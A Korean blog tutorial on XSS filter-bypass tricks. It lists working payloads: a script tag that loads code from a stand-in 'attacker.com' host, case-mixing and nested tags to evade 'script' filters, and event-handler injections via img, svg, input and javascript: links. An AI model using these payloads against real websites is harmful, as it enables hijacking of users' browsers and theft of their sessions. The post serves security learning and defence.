무기는 끈기

[Web Hacking / 웹 해킹] XSS Bypass Trick 우회 트릭 기법 알아보기 (script 길이 제한, img 태그 활용, event handler 활용 등) 본문

Hacking/Web Hacking

[Web Hacking / 웹 해킹] XSS Bypass Trick 우회 트릭 기법 알아보기 (script 길이 제한, img 태그 활용, event handler 활용 등)

김유비야 2024. 1. 16. 20:03

XSS 공격기법을 사용하다보면 다양하게 막아놓은 것을 찾을 수 있다.

그럼에도 불구하고 이런저런 우회 기법을 사용하여 공격할 수 있기에, 해당 공격들에 방어하기 위해선 어떤 우회 방법이 있고 어떻게 우회할 수 있는지를 알아야 한다.

출처: https://medium.com/@alb-soul/xss-with-403-waf-bypass-for-and-document-cookie-998850c02bd5

 

이번 글에선 XSS 우회 트릭을 몇가지 살펴보려고 한다.

- script Tag 길이 제한된 경우
- script 단어 필터링 된 경우
- img Tag 활용(Event Handler 활용)
- XSS in href
- script Tag 내에서 XSS 발생하는 경우
- svg 등 다양한 태그 활용
- XSS in input

하나하나 살펴보도록 하자.


- script Tag 길이 제한된 경우

<script>alert(1);</script>

script Tag 안에 들어가는 글자수를 제한 해놓은 경우는 아래처럼 우회할 수 있다.

<script src="http://attacker.com/xss.js"></script>

script src 안에 실행하고자 하는 것을 넣어 길이 제한을 우회하는 방법이 있다.
구체적인 형태는 상황과 목표에 맞게 변형해서 다양하게 사용하면 된다.


- script 단어 필터링 된 경우

script라는 단어가 필터링 된 경우엔 대소문자를 혼용하여 사용하기, 같은 역할을 하는 다른 단어 사용 등의 방법이 있다.

대소문자 혼용
<sCriPT></ScrIPt>

같은 역할의 다른 단어
<scscriptript></scscriptript>
-> alert이 필터링 된 경우, prompt를 사용하는 것과 비슷하게 생각하면 된다.

어느 정도로 필터링이 되었는지 상황에 따라 확인하며 맞게 사용하면 된다.


- img Tag 활용(Event Handler 활용)

먼저 이벤트 핸들러가 무엇인지 알아보자.

Event Handler란,
사용자는 마우스를 움직이거나, 요소를 클릭하거나, 텍스트 박스에 글을 쓰는 등 수많은 종류의 동작(action)을 수행한다. 이것을 Event라고 하고, 웹페이지에서는 수많은 이벤트가 계속해서 발생한다. 특정 요소에서 발생하는 이벤트를 처리하기 위해서는 Event Handler라는 함수를 작성하여 연결해야만 한다. 핸들러가 연결된 특정 요소에서 지정된 타입의 이벤트가 발생하면, 웹 브라우저는 연결된 이벤트 핸들러를 실행한다.
* Event Handler  참고: https://tcpschool.com/jquery/jq_event_concept

 

Event Handler를 활용하기 위해 img Tag를 같이 사용해준다.

<img src=x onerror="alert(1)">

  -> img src를 x로 지정하여 오류가 발생하도록 유도한다.
      오류가 발생될 경우 onerror 라는 오류가 발생할 경우 실행되는 event handler 함수를 사용하여 alert(1)이 뜨게 된다.

🛠️많이 활용되는 Event Handler🛠️

onerror, onload, onclick, onmouseover, onplay

- XSS in href

<a href="javascript:alert(1)">TEST</a>

-> 링크 클릭 시 실행
+ 주소창에 javascript 직접 사용 가능



- script Tag 내에서 XSS 발생하는 경우

버프 스위트로 Response 부분을 확인했을 때,
user="____"/>
이렇게 되어 있는 부분이 있다.

이 경우 user 빈칸 부분에 aaa(아무거나)를 작성해준 뒤 태그를 "/> 를 사용하여 닫아주고, 원하는 스크립트를 작성해주면 된다.
이때 주의할 점은 스크립트를 추가로 작성한 후 맨 뒤에 "/> 가 있다는 것을 잊지 않아야 한다. 이것까지 고려하여 스크립트를 삽입해준다.



- svg 등 다양한 태그 활용

img, svg, div 등 다양한 태그로 활용 가능

<svg onload="alert(1)">

- XSS in input

<input type="text" onmouseover="alert(1)" >
<input type="text" onfocus="alert(1)" >
<input type="text" autofocus onfocus="alert(1)" >

 

몇가지 XSS 우회 트릭을 알아보았다.
이 외에도 정말 다양한 트릭이 있다. 상황에 맞게 구글링하고, 연구하며 적용할 수 있게 많은 연습이 필요할 것 같다.

 

다음 글에선 XSS 공격기법의 대응방안과 추가 심화적인 부분에 대해서 알아보도록 하겠다.